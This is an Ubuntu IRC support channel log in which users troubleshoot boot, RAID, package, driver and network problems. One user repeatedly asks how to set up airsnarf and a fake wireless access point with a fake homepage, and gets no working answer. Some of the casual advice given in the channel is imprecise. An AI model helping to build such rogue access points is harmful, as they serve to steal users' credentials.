gyaresurkv, The grub boot is in the first 512Kb of the HDD so that means you've passed by the BIOS's loading of a boot sector on the CD.01:37
Camdenthat's a cool concept... someone could do translation without any programming01:37
ScabdatesI'm booting to disk with Ubuntu and I'm not sure if I want to dual boot it yet, I'm just testing it out and i clicked start/install and it said starting and then it said uncompressing linux file, and then it when to the unbuntu startup screen and began loading nescessary drivers01:38
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oidiaanyone use cryptsetup?01:38
rkvgyaresu: so my windows cd is faulty? 'cos when i turn off my raid controller i get grub error 1701:39
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mataks_mnoir, yes it is correct, i copied it from their site01:39
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Vigo__Scabdates:  Have you removed the CD and re-booted?01:39
Flannelrkv: why would a grub error have anything to do with a windows CD?01:39
Jedrick-mnoir, yes it is correct, i copied it from their site01:39
Scabdatesat this point it stops and goes black to a black screen with grey text saying the following error with a few variations: [17179716.84800]  buffer i/o error on device hdc logical block 101:39
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Scabdatesyes i have01:39
gyaresurkv the XP cd should just work so either that or the optical drive is stuffed.01:39
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Flannelrkv: make sure the CD is set to boot before the HD in your BIOS01:40
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Vigo__Scabdates: I am looking for that one now.....01:40
gyaresurkv the raid/grub problem is probably normal. Do you already have drives in RAID that you installed grub/linux on?01:40
ScabdatesOK thank you01:41
rkvFlannel: gyaresu : well this ubuntu livecd worked perfectly fine everytime but when i insert the windows XP cd it doesnt goto the setup or anything just directly to grub error01:41
gyaresuFlannel, It boots his ubuntu cd fine.01:41
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tommy1987using nmap what is the command to simply view the IP address of connected hosts?01:41
Jedrick-where can i find the source list to upgrade to dapper drake?01:41
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Flannelrkv: ah, in that case, yeah.  the windows CD has problems01:41
Hanseltommy1987,  - you mean netstat?01:41
vmfightciaoooooooooooo01:41
gyaresurkv So xp-cd or drive is stuffed.01:41
tommy1987can i do it with netstat?01:41
gyaresurkv, burnt xp cd?01:41
Hanselnetstat -an I believe01:41
rkvgyaresu: no i realized that i have 2 identical drives so i thought i'd try RAID so i enabled it01:41
rkvgyaresu: yea i have my own product just lazy to download updates01:42
gyaresurkv do you have linux on one of the drives already?01:42
vmfightitaliani manko uno?01:42
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rkvgyaresu:  no used too though01:42
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gyaresurkv so the grub is just from the old install?01:42
rkvgyaresu:  prolly01:43
ciscosurferHello, fellow Ubuntonians!01:43
vmfightciao ciscosurfer01:43
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swxHi01:43
rkvgyaresu:  'cos i've never seen that erorr till i turned on RAID01:43
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Hanselciscosurfer,  - we prefer to be called Ununtuites01:43
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thisheregiraffeubuntonians..  "nerds" for short 8)01:43
shwagafter doing   sudo apt-get remove postfix , how do I get rid of all the config files it made ?01:43
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ciscosurferHansel: hmm...okay :-)01:44
rkvgyaresu:  i'm using GParted now to format both my harddrives to fat3201:44
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gyaresurkv so get a working xp disc >> install xp on the raid'd drives >> install ubuntu after (it'll find xp just fine and include it in grub as an option)01:44
gyaresurkv don't need to.01:44
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rkvoh k01:44
GlasseyeI have a question anybody can help?01:44
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Hanselsee... even mnoir deviates from the norm and has his own title.  It's ethnocentric to assume we are all the same type of ubuntu users  :P01:44
HanselGlasseye,  - only if you ask the question.01:44
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ciscosurferGlasseye: shoot...01:44
phixnayhey, where can I get information on improving edgy's boot time?01:44
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gyaresurkv You can just fdisk the drives though, might save any stupid grub stuff after installing xp.01:45
swxIm installing gnome-desktop-environnement with Synaptic on a Edgy version that does not already has gnome installed on it, what should be the next step?01:45
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madcheezephixnay: improve it? mine boots in like 15 seconds...01:45
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CrankymonkyIn OpenOffice equation editor is there a way to make a new line so as to show a problem being worked out?01:45
paradoxx!java01:45
ubotuTo install a Java compiler/interpreter on Ubuntu, look at https://help.ubuntu.com/community/Java - For the Sun Java runtime install sun-java5-jre from the !Multiverse repository01:45
phixnaymine takes a minute or so01:45
dougskophixnay: heres a link i found about breezy, but the technique will be the same: ubuntuforums.org/showthread.php?t=8042301:45
Hanselphixnay - you can get LinuxBIOS... google it.  Supposedly you can boot Linux in about 5 seconds.01:45
GlasseyeI downloaded a file that is supposed by a driver for starfighter real 3d graphics card, however everytime I double click it .rpm file it says archive type not supported.01:45
madcheezephixnay: are you booting to kde?01:45
ciscosurferphixnay: install bootchart and report back (unless you already know what you boot time is...)01:45
gyaresurkv or 'dd' the first 512Kb of the drive will nuke grub (but anyway that isn't necessary)01:45
madcheezephixnay: or what window manager are you using?01:46
phixnayGNOME, so is that nautilus?01:46
phixnayI'll get bootmanager01:46
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madcheezephixnay: if you have a huge image on your desktop that will slow it down too..01:46
nethelpIs there a way to use a ubuntu powered computer with one nic as a router?01:46
madcheezephixnay: my notebook is a core solo with a gig of ram and a 80 gig drive... it does ok...01:46
rkvgyaresu: how do u 'dd' tje first 512 kb?01:46
gyaresuGlasseye, I don't know if this helps but 'alien' is the program for installing rpm's on debian01:47
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phixnayit slows down the most after I choose it from grub, and at the splash screen01:47
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ciscosurferHansel: are you using LinuxBIOS?01:47
dougskonethelp: almost by definition, a route's going to need two nics01:47
GlasseyeI'm using ubuntu, so I need a program called Alien?01:47
Hanselciscosurfer - nah... my motherboard isn't supported01:47
ciscosurferHansel: ah01:47
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HanselMy friend did it to his and it boots almost instantly.01:47
ciscosurferHansel: sort of like the purported "instant-on" blah blah blah01:48
ciscosurfer?01:48
Hanselyup...01:48
nethelpdougsko: In that case, is there any way I can run a connection between two computers I have using a router and just make one computer the one that they both connect to the internet through? Because I seriously need a way to control my net traffic.01:48
ciscosurferinteresting01:48
dougskoGlasseye: yeah, 'alien <foo.rpm>' will leave you with foo.deb, which you can install with 'dpkg -i foo.deb'01:48
madcheezephixnay: also depends on what you have loading at boot01:48
mzanfardinodoes anyone have a suggestion for a more robust solution for copying files from an SMB share to my local machine than cp?  The file sizes are 2GB and cp simply dies, taking all networking with it...01:48
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VigoI have to lay down01:48
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Hanselnethelp - I say you invest in a $50 router... easier than configuring nics and using crossover cables and whatnot.01:48
Jedrick-where can i find the source list to upgrade to dapper drake?01:48
petruzBuongiorno a tutti01:49
HanselJedrick - the main ubuntu site has all the info and things to look out for.01:49
thisheregiraffeJedrick-: check out the file /etc/apt/sources.list01:49
madcheezemzanfardino: 2 gigs is alot.. can you gzip it and then cp it?01:49
phixnayI'm getting bootchart - I think probably what slows it down most are the PCI errors I get01:49
dougskonethelp: yes and no. you can sorta hook things up like you said, but not the way youre thinking. if you want to build a route, you really need two nics01:49
dougskoat least01:49
thisheregiraffeJedrick-: you might want to read a how-to on the wiki to make sure you go through the upgrade correctly, though01:49
nethelpWell I have a router... but it doesn't control worth a dang. It's a linksys etherfast cable router.. my other user on the network is RAPING my internet speed with his torrents, and the router can't do much to control it.01:49
petruzbuonanotte a tutti01:49
mnoir!it | petruz01:49
ubotupetruz: Vai su #ubuntu-it o su #kubuntu-it se vuoi parlare in italiano, in questo canale usiamo solo l'inglese. Grazie!01:49
ScabdatesCan I get some help for my ubuntu error?01:49
Jedrick-ok thnx.01:50
Hanselnethelp - if you REALLY want good control you'll need to go Cisco or Sonicwall...01:50
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thisheregiraffeScabdates: what's yer error?  i'm sure somebody can help01:50
mzanfardinomadcheeze: maybe.  they are vmware files.. I'm trying to copy a vmware directory from our backup server (Windows) to my local box...01:50
NkZGood night guys.01:50
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madcheezemzanfardino: try to gzip them or rar them then cp that file01:50
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HanselNkZ - you joined to wish us goodnight?  Talk about dedication!01:50
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ScabdatesWell, i just got ubuntu as i am interested in dual booting with windows 2000, but before i do that i wanted to test it01:50
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mzanfardinomadcheeze: running zip on one file now....01:51
nethelpEeek.. those are super expensive. But without being able to shut down all these stupid torrents.. I'm going to lose my speed everytime.01:51
riotkittieHansel: heh.01:51
Unshiftanyone know how to install opera in 64bit edgy?01:51
Scabdatesso i downloadede the iso and burnt it to a disk, and i booted from it, it brought me to the ubuntu startup menu01:51
mzanfardinomadcheeze: in the mean time, no other suggestions?  any other cp program that works better with an SMB share?01:51
HanselUnshift - add the 64bit repository to your sources.list then sudo apt-get install it :)01:51
dougskonethelp: i had the same problem. i fixed it with a 90mhz p3, 2 nics and openbsd's pf (for routing and bandwidth shaping). i used my old netgear wireless router then as just a wireless AP.01:51
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mnoirnethelp: with a cheap old pc and IPCOP you can throttle connections01:51
oidiai cant get cryptsetup luksFormat /dev/hda6 to work,anny ideas?01:51
madcheezemzanfardino: is it possible to burn the image to a dvd then move them?01:51
NkZI have a question here: I just installed Ubuntu, and Beryl (Using the Comunity Doc at UbuntuForum.org) after I did, I got one message about "Updating packages" Would it be wise to update those packages?01:51
phixnayalso do you know why synaptic downloads things at around 3000 B/s, but I've done a speed test that rated it 180 k/s01:51
Scabdatesi click start/install it tells me its starting and then it goes to a menu and says uncompressing linux kernel and then it goes the the startup screen01:51
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mzanfardinomadcheeze: nope. server doesn't have a burner...01:52
Scabdatesit appears to be loading and i waited as the drivers loadewd01:52
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dougskonethelp: i really cant think of a way for you to do this without 2+ nics. a router connects two networks together, and so you just need 2 cards01:52
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adaptrphixnay: choose better mirrors :)01:52
riotkittieScabdates: did it then lock up completely?01:52
nethelpSo I could fire up an old POS computer, turn it into a basic router, and be able to calm down the speeds on his end? Like set it to where he could just use say internet and IRC?01:52
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Hanselnethelp - you definitely need 2 routers... 1 to connect to internet and 1 to connect to other PC.01:52
mzanfardinomadcheeze: how about this: any suggestions on how to reinitialize my network when the cp fails?  I don't know exactly what the problem is, save that all network calls hang...01:52
petruzgood night allora :-))))))01:52
mnoirnethelp: that is what ipcop is designed for01:52
phixnayadaptr: ah, which are you using? I'm on the defaults01:52
Hanselnethelp - www.practicallynetworked.com has some basic info about designing home networks.01:52
guilleri need help instaled compiz is on ... but Switch desktops on cube = Ctrl + Alt + Left/Right Arrow is red and green... :(01:52
Scabdatesthan it all of the sudden goes to the black screen with grey text saying the following several times (with variations) [17179716.84800]  buffer i/o error on device hdc logical block 101:53
riotkittiehe needs three routers. 1 to connect to the internet, 1 to connect to the other pc, and one to uhhh, give to me :x01:53
vmfightitalia01:53
madcheezemzanfardino: im not sure on that one...01:53
vmfightce un italiano????01:53
dougskonethelp: yes. you can even make it so that torrents will dl at full speed, until someone else starts doing something. then itll choke it back accordingly01:53
mnoir!it | vmfight01:53
ubotuvmfight: Vai su #ubuntu-it o su #kubuntu-it se vuoi parlare in italiano, in questo canale usiamo solo l'inglese. Grazie!01:53
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Hanselriotkittie,  good point01:53
vmfightthanks01:53
NkZI have a question here: I just installed Ubuntu, and Beryl (Using the Comunity Doc at UbuntuForum.org) after I did, I got one message about "Updating packages" Would it be wise to update those packages? They are "libwnck-common, libwnck18, linux-restricted-modules-common, nvidia-glx."01:54
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nethelpWell I'm a hypotcrit, so I'd like to still have the ability to do my torrents.. .but his have to stop. He can't just download one.. it's like 75 at once... and on a 5mb connection.. it chokes us down.01:54
PMantis_Hmmm, my /etc/network/if-up.d/ script is not running in Edgy on my wireless adapter01:54
madcheeze!cp01:54
ubotuSorry, I don't know anything about cp - try searching on http://bots.ubuntulinux.nl/factoids.cgi01:54
adaptrphixnay: use whatever is closest to you, geographically01:54
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mnoirnethelp: ipcop is a special linuk dist that does firewalling, routing, etc01:54
dougskoriotkittie: wait...what? one router can route inf networks. you just need a card for each one01:54
adaptr!mirrors | phixnay01:54
ubotuphixnay: Ubuntu installation CDs can be downloaded from http://releases.ubuntu.com - Mirrors can be found at http://wiki.ubuntu.com/Archive01:54
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thisheregiraffeNkZ: i've never run into any troubles after having updated my system01:54
Camdenworld domination 20101:54
HanselNkZ - it never hurts to upgrade.  :)01:54
kinectionswhat repository should i be using to install apache 1.x ?01:54
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phixnayi don't think those are the right links :)01:54
NkZThanks. :-)01:54
kinectionson ubuntu server dapper drake?01:54
dougskoriotkittie: in this case, one for the intertubes, and one for his home net01:54
adaptrphixnay: and i do01:54
thisheregiraffeNkZ: but if you're still uncertain, you could poke around on ubuntuforums.org or on the wiki01:54
phixnayoh there it is01:54
thisheregiraffeto see if you can find any bugs that have been reported01:55
HanselNkZ - it's not 100% necessary but usually they fix bugs or security issues.  If you are running 100% okay it will be fine not to upgrade.01:55
svfusionsomeone a while back gave me a link To install ATI drivers , i lost the link I think it was on ubuntus site can soneone tell me the linK./01:55
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riotkittiedougsko: and one for me. because i hearby declare it Buy Me a Router Day.01:55
Hansel!ati01:55
ubotuTo install the Ati/NVidia drivers for your video card, see https://help.ubuntu.com/community/BinaryDriverHowto01:55
adaptrkinections: the main repo has apache01:55
madcheezesvfusion: if you just google fglrx you will get it01:55
nethelpSo old computer with two nics, IPCOP, and I've got myself a router?01:55
kinectionsadaptr: it has apache2, i need apache101:55
svfusioni have01:55
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Hanselnethelp - indeed01:55
NkZLast question: How do I set up my HDB to be mounted at startup? (It's already formated and good to go)01:55
svfusionbut it isn't the one they gave me01:55
adaptrkinections: apt-get install apache should get you 1.x01:55
mnoirnethelp: yes01:55
phixnayadaptr: where do I change the mirror? sources.list?01:55
nethelpOkay, thanks guys:)01:55
Hanselnethelp - well, technically you need some rulesets to have a "router" but generally speaking...01:55
svfusionit was on how to install the offical one01:55
Jedrick-can someone help me. im just new to linux.. how to upgrade my breezy badger to dapper drake?01:56
adaptrphixnay: system -> admin -> software sources is a graphical interface, but yes - source.lst01:56
Hansel!upgrade01:56
ubotuFor upgrading, see the instructions at https://help.ubuntu.com/community/UpgradeNotes01:56
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tapasi have "auto lo eth0 eth1" but still eth1 isn't brought up at boot01:56
HanselJedrick-,  read that link.01:56
Scabdatesany ideas?01:56
phixnayah, got it01:56
tapas[in /etc/network/interfaces] 01:56
Jedrick-ok thnx01:56
kinectionsadaptr: i do not seem to be able to find it01:56
kinectionsadaptr: "Package apache has no installation candidate"01:56
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dougskoriotkittie: goodwill, and the classifieds are good places to pick up a cheap box that most people would deem worthless01:56
kinectionsadaptr: this is a fresh install of 6.06 server edition01:56
HanselScabdates, hdc is a harddrive... not sure why but apparently one of your drives is causing problems when its trying to mount.01:56
svfusionwhat is the best way to install the ati driver01:57
HanselScabdates - do you have more than 1 hdd?01:57
Hanselsvfusion - read the webpage instructions...01:57
svfusionI have01:57
Hanselsvfusion - and what do they recommend?01:57
riotkittiedougsko: we dont have goodwills up here, and the people who are selling computers... are asking stupid prices01:57
Hanselinsmod?01:57
Scabdatesnope01:57
Scabdatesonly 101:57
mnoirtapas - can you pastebin your interfaces file?01:57
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adaptrkinections: sudo apt-get install apache01:57
kinectionsadaptr: that's what i did01:57
tapasmnoir: sure01:57
kinectionsadaptr: it couldn't find apache01:57
HanselScabdates - couldn't tell you... sorry.  :(  You can google for that exact error msg and see if there is a workaround.01:58
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HanselOff the top of my head I'm pulling a blank.01:58
dougskoriotkittie: bummer :/01:58
phixnaymine is called sources.list01:58
NkZLast question: How do I set up my HDB to be mounted at startup?  So I don't have to do " sudo mount /dev/hdb /storage " Every time I load the OC?(It's already formated and good to go)01:58
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mnoirtapas: also can you bring it up manually?01:58
madcheezemzanfardino: did you get it?01:58
tapasmnoir: via ifconfig eth1 up01:58
tapasyes01:58
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kinectionsadaptr: an apt-cache search apache    only shows apache2 stuff01:58
riotkittiebut i dont really need another computer. i just need to beat the case off of the box i have in the closet so i can install a card01:58
HanselNkZ - you can add it to a rc.local startup script or /etc/fstab I believe.01:58
mnoirtapas: last - is it wireless?01:58
thisheregiraffeNkZ: i believe you'll need to add an entry for hdb in your /etc/fstab file01:58
tapasmnoir: yes01:59
mzanfardinomadcheeze: still zipping the source file... it's a slow process...01:59
adaptrkinections: hmmm... try packages.ubuntu.org01:59
tapasmnoir: http://rafb.net/p/ysqvAT31.html01:59
dougskoriotkittie: that sounds like a perfect afternoon :)01:59
mnoirtapas: ooh - sorry - wireless is a challenge i am not up to....01:59
kinectionsadaptr: k, thanks01:59
madcheezemzanfardino: holy cow, what kind of server is it? a personal one or a up to date one?01:59
NkZHanse/Thisredgiraffe: What's the line for that entry? I'm kinda newb. I've been to that file using sudo gedit but I didn't know what to add.01:59
HanselNkZ - man fstab... basically just immitate another entry.  :)01:59
tapasmnoir: ok, i also just see now, my ethernet device isn't brought up eiter01:59
kinectionsadaptr: is that .com?02:00
adaptrkinections: it's in universe....02:00
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mzanfardinomadcheeze: I killed it once fearing it's crashed... so I've only just restarted...02:00
mnoirtapas: messages in your logs?02:00
HanselNkZ - you define the device (/dev/hdb) give it a mount point  /mydrive  and decide what filesystem type it is...02:00
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adaptrkinections: enable universe, then apt-get install apache02:00
tapasmnoir: lemme check02:00
kinectionsadaptr: so i'll need to uncomment that02:00
kinectionsadaptr: k, thanks02:00
NkZHanse/Thisredgiraffe: Thanks :-) You really own. :-)02:00
madcheezemzanfardino: haha kk.02:00
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mnoirtapas: also look at output of dmesg cmd to see if hw is being recognized02:00
HanselNkZ - you're welcome... we know.  :P02:00
Scabdatesapparently some cd drives might not work with it ill try another one and get back to you guys02:00
tapasmnoir: i have no problems using the devices manually02:01
Unshiftanyone know what repository i have to add to install opera in 64 bit edgy?02:01
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mnoirtapas: sorry - i forgot....02:01
tapasmnoir: checking logs [dunno whch one so i check them all] 02:01
HanselUnshift - google probably knows.02:01
RichW^i have xgl and compiz...window resizing is slow... other fx are fine.02:01
Falstiustapas: have you tried running the /etc/init.d/networking script in the terminal?02:01
mnoirtapas: start with messages02:01
RichW^any ideas?02:01
phixnayok so in sources.list everywhere I see a website I replace it with the new mirror?02:02
HanselUnshift - my googling revealed the following... deb http://archive.canonical.com/ubuntu edgy-commercial main02:02
tapasFalstius: hah very good: Ignoring unknown interface eth0=eth0.02:02
phixnayexcept the audacious repo02:02
mnoirtapas: Falstius suggestion is very good - you may see some errors that way02:02
tapasand the same for eth102:02
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tapashmm02:02
DRMacIverHm. Anyway I can install java 6 in a way that synaptic will recognise?02:02
HanselDRMaclver - assuming you have the repository setup and have done an apt-get update you just click it and choose Apply.  :)02:03
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DRMacIverHansel: Java 6 isn't available in the repositories yet as far as I can see.02:03
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jribDRMacIver: java-package?02:03
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NkZI know I am kind of an annoyance :-P But Would "/dev/hdb  /storage  ext3" do the trick?02:03
hansowhen I run apt-get there is a message about packages not used anymore and that I can remove them using "apt-get autoremove". is that a smart thing to do or?02:03
RichWi have xgl and compiz...window resizing is slow... other fx are fine.02:03
jribDRMacIver: may or may not work :)02:03
kinectionsadaptr: alright, it's installing thanks a lot02:03
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Hanselhanso - its safe but not really necessary unless you are low on space.  :)02:03
Hanselhanso - it's not hurting anything by having them installed...02:04
mzanfardinomadcheeze: I've abandoned the zip (failed for some reason) and am now using smbclient... trying to figure out how to copy with it still...02:04
phobiacAny ideas?02:04
thisheregiraffeNkZ: you'll need to create /storage if it doesn't exist (mkdir command)02:04
Hanselthink of it like having a few extra dll's sitting around your Windows box.02:04
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DRMacIverjrib: I'll take a look. Thanks.02:04
NkZthisredgiraffe - That's Done. :-) Thanks a lot again!02:04
phobiacArk won't install .deb files. I get the error, "the utility ar is not in your PATH."02:04
hansoHansel: but it's safe? nothing important will be removed?02:04
NkZWill test that. He he he he02:04
thisheregiraffeNkZ: i think nautilus shows you the drives in your system that are mounted in the /media directory (i could be wrong though) so you might consider /media/storage02:04
phobiacAny ideas on what I can do?02:05
Hanselhanso - correct... and if it breaks a dependency it would tell you when you tried to autoremove  :)02:05
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Hanselhanso - at the very worst you would have to reinstall it...02:05
tapasFalstius: ok, i need to specify them in the iface list, too02:05
NkZthisredgiraffe Will do!02:05
Hansel.deb pkg mgmt just tries to be efficient and if it notices you have a library/pkg installed that NOTHING is using it says "hey.. you have this extra thing sitting around that isn't being used... you want me to clean it up or do you care to have a little bit of clutter?"02:06
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jamesb2147someone wanna help me install ndiswrapper 1.34?02:06
Hansel!wireless02:06
ubotuWireless documentation can be found at https://help.ubuntu.com/community/WifiDocs02:06
Hanseljamesb2147, read up  :)02:06
DRMacIverjrib: Doesn't appear to work.02:06
jribDRMacIver: k02:06
hansoHansel: it will tell before I autoremove if any dependencys break?02:06
Hanselhanso - correctamundo.02:06
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Flannelhanso: it won't autoremove things that other things depend on, that's the point of autoremove02:06
NkZjamesb2147 Could try ndiswrapper utils-1.8 that comes on the Ubuntu CD too, right? (Easier to add using synaptic)02:07
Falstiustapas, I think you need an iface line for each card, like: iface eth1 inet dhcp02:07
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BluedogAnyone know a linux msn messenger that does /voice clips/?02:07
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hansoHansel: okey. thank you02:07
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HanselBluedog - there is probably a plugin for gaim that will handle it... it's the only IMer I have ever trusted  :P02:08
Bluedogcool, I will look, thanks02:08
hansoFlannel: okey. thanx02:08
sarahello02:08
thisheregiraffeBluedog: have you tried amsn?  i think it can do webcam stuff, so maybe it can handle voice too02:08
BluedogThe version on the repository doesnt have it, didnt want to mess with the newer 0.97 ver right now02:08
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Bluedogmeans you have to install libsnack, and it sounds dodgy looking at their forusm02:08
dougskoekiga is a cool app for video confrencing02:09
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Hanselbased on the screenshot of the pretty girl on the ekiga website I would also recommend it.  :P02:09
user01how do i change from totem to vlc as the default media plugin?02:10
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madcheezeBluedog: have you tried the yahoo messenger replacement?02:10
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saraI have a question about an ASUS laptop that I just bought (used) it runs fine under windows but overheats under ubuntu ans Suse. The overheating takes about 1/2 an hour of moderate use.. Ive tried loading lm-sensors and even setting the temp trip-points to no avail.. it simplely seems to want to overheat no matter what modules are loaded02:10
user01user01: in mozilla02:10
jribuser01: in firefox?02:10
Hanseluser01 - usually if you right click on a file and choose Open With in gnome/kde it will give you the option.02:10
BluedogI don't use yahoo messenger atm02:10
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jribuser01: remove totem and install vlc02:10
jribuser01: (plugin)02:10
Unshift02:10
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saraI hate having to use windows02:11
Unshiftsara: dont02:11
madcheezemy guess would be kopete or amsn then02:11
thisheregiraffeoh, Bluedog.. how about kopete02:11
thisheregiraffe?02:11
saraJust surfing the web under ubuntu gets the cpu temp redaing at 8002:11
phixnayI changed mirrors to http://lug.mtu.edu/ubuntu/ but it is just as slow02:12
sarareading02:12
Hanselsara - C or F?02:12
saraC02:12
Hanseleww!02:12
BluedogI'll look it up :)02:12
Unshiftpentium 4?02:12
sarathe average temperature doing nothing is 70 and it goes up to 8o C when doing any processes02:12
Hanselsara - well, you could use your processor to fry eggs or something...02:12
sarayes 3.4  pentium 402:12
Unshift:P02:13
Unshiftyep02:13
user01jrib: im trying to watch the iphone keynote on apple02:13
saraI now wish I had 2 laptops running at 1.5  lol02:13
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dougskosara: 80oC?!?! thats insane02:13
Unshifthttp://www.hackaday.com/2005/11/26/cooking-with-processors/02:13
dougskothats really not good02:13
madcheezesara, that is probably a bug... its not actual temp... i wouldnt sweat it02:13
dougskoyeah that cant be right02:14
compengisara, did you check that your vga drivers are installed02:14
adaptrmadcheeze: why wouldn't it be the actual core temp ? my Athlon XP is rated up to 90C02:14
dougskosara: what does 'acpi -Vf' say?02:14
HanselI would imagine most comps would auto-shut off (at least newer ones) if it got that hot to protect the hardware02:14
NkZThanks a lot guys for your help. See you later!02:14
saraThe fans all work but there is a bug in the kernel , which other people seem to be experiencing that I discovered by accident... If the machine is running hot and you are watching a google video.. if you pull the power plug out, the video gets instaly better02:14
thisheregiraffecheers NkZ02:14
adaptrmadcheeze: and a few summers ago it actually ran on 100C for 15 minutes.. when the fan had died.....02:15
saraone sec checking02:15
Mba7ethrkv there is no root accout02:15
madcheezeadaptr: because most motherboards are set to stop running around 60 degrees c. if its running that hot, then you have a cooling problem, not a software driving the unit problem...02:15
HanselDoes anybody know if ls `yes` does anything bad?  A friend told me to type it but I'm afraid it might do something "bad"02:15
madcheezeadaptr: especially if she can see it in windows and its not that hot...02:15
user01jrib: it just freezes now and i have to force quit02:15
sarathe power setting is reveresed for battery mode and not it seems02:15
hakrzcodeHansel, yes, only does bad things if you are on a date.02:16
phixnayspeedtest says I have 1350.1 Kbps, but synaptic is so slow even with different mirrors02:16
Hanselhah.02:16
juano_pr3d4t0r:02:16
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saraacpi -Vf  No support for device type: thermal02:16
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hakrzcodeHansel, other than that, it is a nice way to answer yes to scripts for automation.02:16
dougskohakrzcode: just type 'yes' at the console, and youll see what it does02:16
Hanselhakrzcode, could you type it and tell me what happens?  I'm still a scared.02:17
sarahow can I check the VGA driver situation?02:17
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jribuser01: link me please02:17
Back|Trackanyone know how to setup airsnarf for ubuntu02:17
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Back|Tracki googled and recieved nothing of interest02:17
dougskoHansel: what he told you will just lock up your terminal, but the 'yes' command just returns the letter y02:17
saraoops sorry about the acpi -Vf  response.. checked on wrong machine ...duh02:17
Pelois there an elegant way of removing an app installed from source ?02:17
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Jahootyhow do i get a list of running processes with pids?02:18
HanselPelo - if you kept the install directory you can make uninstall I believe02:18
sara<compengi> how can I check for vga drivers?02:18
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user01jrib: http://events.apple.com.edgesuite.net/j47d52oo/event/02:18
hakrzcodeHansel, the yes command is just a tool for scripting. useless by itself, unless you are a manager, and need to hear someone say yes.02:18
sarajahooty  top  ?02:18
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gyaresusara What card do you have?02:18
Hanselhah... hakrzcode - I'll keep that in mind.02:18
saranvidia02:19
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Jahootyi tried that, but i did not see firefox listed, which is suposedlys till running, and i can't start a new session02:19
HanselI would like it better if it would append a "Sir" to the end though...02:19
thisheregiraffeJahooty: do 'ps -A' in yer terminal02:19
HanselI'll script something.02:19
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hakrzcodehaha Hansel.02:19
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neuratixanyone know a good direct connect client for ubuntu?02:19
gyaresusara, do you have the linux-resticted-modules and nvidia-glx installed?02:19
Hanselneuratix,  - you mean like ssh?02:19
Hanselor VNC?02:19
Jahootythanks02:20
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saranvidia FX02:20
avaricenhttp://gnome-look.org/content/download.php?content=51459&id=1 <<02:20
avaricenubuntu02:20
neuratixHansel: no, like dc++ on windows02:20
Back|Trackanyone know how to setup airsnarf02:20
thisheregiraffeJahooty: use the kill command to send messages to processes.  (do kill --help or man kill to get all the facts)02:20
phixnayah ok, I'm using the "main server" and it better02:20
sarai'll check02:20
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Jahootyyeah, but i had to get the pid first02:20
compengineuratix, there is frostwire02:20
avaricenwhy is the female backside related to ubuntu02:20
Pelothanks Hansel , I made a new  make and then sudo make unistall, and it worked02:20
phixnayok so now that I have bootchart how do I use it?02:21
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neuratixcompengi: i'll give frostwire a try02:21
dougskoHansel: so that command, what it says is "ls the result of the yes command". the backticks around the yes command are what makes it "the result of". so it executes, 'ls y' , which is garbage02:21
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sara<gyaresu> whats the easiest way to check if the linux-resticted-module is  installed?02:21
phixnaysynaptic?02:21
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jribuser01: fails to play here as well, in mplayer, totem-gstreamer, gxine, and vlc.  vlc and mplayer both claim:  Unable to determine our source address: This computer has an invalid IP address: 0x002:22
neuratixcompengi: is it in any repository?02:22
Hanseldougsko - gracias.02:22
paradoxx!xen02:22
ubotuXEN is a virtual machine monitor for x86 that supports execution of multiple guest operating systems with unprecedented levels of performance and resource isolation. Information on installing it for Ubuntu can be found at https://wiki.ubuntu.com/XenOnEdgy02:22
compengineuratix, yes02:22
thisheregiraffesara: aptitude search linux-restricted-module02:22
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gyaresusara 'sudo modprobe -l |grep nvidia'02:22
thisheregiraffeif there is an "i" in the left-hand column in aptitudes listing02:22
thisheregiraffethat means installed02:22
Jahootythanks all btw.02:22
Jahootylater02:22
user01jrib: i have the quicktime plugin for vlc insalled too02:22
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saraokay trying02:22
HanselIf you want to search for installed packages do    sudo apt-cache search whatever02:22
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biotrox!spam02:22
ubotuSorry, I don't know anything about spam - try searching on http://bots.ubuntulinux.nl/factoids.cgi02:22
biotrox!spamfilter02:22
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phixnay!bootchart02:23
ubotubootchart: boot sequence auditing and chart generator. In component main, is extra. Version 0.9-0ubuntu6 (edgy), package size 96 kB, installed size 192 kB02:23
tapaswhat would be the best place to put an cpufreq-set -g performance so that it gets evaluated on boot?02:23
gyaresusara so you need to 'uname -a' to find your kernel version then install the linux-rescticted-modules version for that kernel02:23
phixnayhow do I use bootchart?02:23
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Hanselphixnay - man bootchart...02:23
phixnaygenius02:23
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gyaresusara, followed by nvidia-glx which are the xorg drivers.02:24
phixnayno manual entry for bootchart02:24
claygcan someone lemme copy their xorg.conf?02:24
user01jrib: do you know anything about wine?02:24
claygto get up and running?02:24
biotrox!spamassasin02:24
ubotuSorry, I don't know anything about spamassasin - try searching on http://bots.ubuntulinux.nl/factoids.cgi02:24
jribuser01: not much more than  wine file.exe02:24
Hanselphixnay - my next recommendation would be the website or google.  :P02:24
Lynoureclayg: sure.02:24
Back|Trackanyone know airsnarf02:24
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phixnayi got it in synaptic - I just want to boot faster02:24
Hanselbiotrox - need help configuring spamasassin?02:24
dougskoa great alias to make in your .bashrc is --> alias acs='apt-cache search' . saves a lot of typing02:24
CyfrMonkopengl broke on my system after installing latest xorg patch - reinstalled envy, but that didn't fix it - any ideas?02:24
user01jrib: yeah i tried that...to install a nikon program...and it frozen trying to install in cause it didnt work02:24
neuratixcompengi: sure frostwire can use the dc protocol? its description is a gnutella/bittorrent client02:24
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biotroxin ubuntu what kind of spam filter are used02:25
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bung anyone ever had any problems with their TV out being black and white? i use ati drivers, i figure its some kinda composite setting or something i missing in my xorg.conf02:25
thisheregiraffeBack|Track: i did a search in aptitude and found airsnort (WLAN sniffer), but nothing called airsnort02:25
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thisheregiraffeerr.. airsnarf02:25
Hanselbiotrox - depends on the mail pkg you install... I believe sendmail would use spamassassin.... actually most probably would.  It's the best util out IMHO02:25
mnoirbiotrox: spamassassin02:25
jribuser01: you can check wine's appdb and #winehq02:25
thisheregiraffeso, no, i don't know of airsnarf02:25
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Madm3rlinhi02:25
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Back|Trackhow about setting up a fake AP02:25
Hanselhi Madm3rlin02:25
Madm3rlindoes anyone here have experience with cedega on a PPC?02:25
Back|Trackusing madwifi drivers02:25
Back|Trackand wlanconfig02:26
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HanselMadm3rlin, nope but if you give us the error we can attempt to help.02:26
Back|Tracki can setup a fake one but hav no idea abot creating a fake HomePage per se02:26
qoscan somebody tell me how to find out which charset my filesystems uses?02:26
Madm3rlinwell02:26
user01jrib: thanks and do you know where i could get radeon 7500 support?02:26
phixnayi'm going to try rebooting and seeing if bootchart goes automatically02:26
Madm3rlinim not sure if anything is wrong yet02:26
Madm3rlinValueError: invalid literal for float(): 999.999997MHz02:26
